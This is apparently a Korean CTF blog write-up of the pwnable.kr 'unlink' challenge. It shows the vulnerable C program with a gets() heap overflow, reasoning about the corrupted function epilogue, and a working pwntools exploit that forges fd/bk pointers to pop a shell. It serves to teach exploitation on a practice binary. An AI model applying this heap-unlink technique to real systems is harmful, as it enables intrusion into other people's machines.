unlink 문제는 처음이라서 lazenca 문서를 참고하였다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
비교적 쉬운 문제인 것 같다. B의 fd, bk를 조작하면, 주소 fd+4에 주소 bk를 넣고, 주소 bk에 주소 fd의 값을 넣는다. 스택, 힙 주소가 릭된다. 처음에 stack 주소에 바로 overwrite를 하려 했지만 당연하게도 fd, bk의 주소 모두 writable해야 하므로 executable한 주소를 overwrite할 수 없다. 즉 리턴을 덮을 수는 없다는 것이다..
got overwrite인가? 그런데 unlink함수 이후에 바로 main 함수가 종료되어서 got를 덮는다고 한들 도움이 되지 않는다. 무조건 ret를 덮어야 하는데,, ret에 excutable한 주소를 덮을 수 없어서 난관에 빠졌다.
또 한가지 의문은 힙 주소를 왜 릭해주었냐는 것이다..
함수 에필로그가 정상이 아니다. (ebp-0x4에 있는 값)-0x4에 있는 값을 esp에 준다. 즉,
(ebp-0x4에 있는 값)-0x4에 있는 값은 shell 주소면 될것 같고, ebp-0x4에 있는 값은 heap 부분으로 주면 될 것 같다.
로컬에서 따지는 데 서버에 접속하고 안따진다..;;
서버에서 gdb로 메모리봐서 코드를 수정했다.. 왜 바이너리가 다른지는 잘 모르겠다.
Exploit Code
from pwn import *
p=process('./unlink')
shell = 0x80484eb
p.recvuntil(': 0x')
stack = int(p.recv(8),16)+0xc
p.recvuntil(': 0x')
heap = int(p.recv(7),16)+0x224
pause()
payload = 'A'*16+p32(stack)+p32(heap)+'A'*0x200+p32(shell)
p.sendlineafter('!\n', payload)
p.interactive()
Capture the Flag
'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글
brainfuck (0) | 2020.03.07 |
---|---|
ascii_easy (0) | 2020.03.07 |
Random (0) | 2020.03.07 |
passcode (0) | 2020.03.07 |
mistake (0) | 2020.03.07 |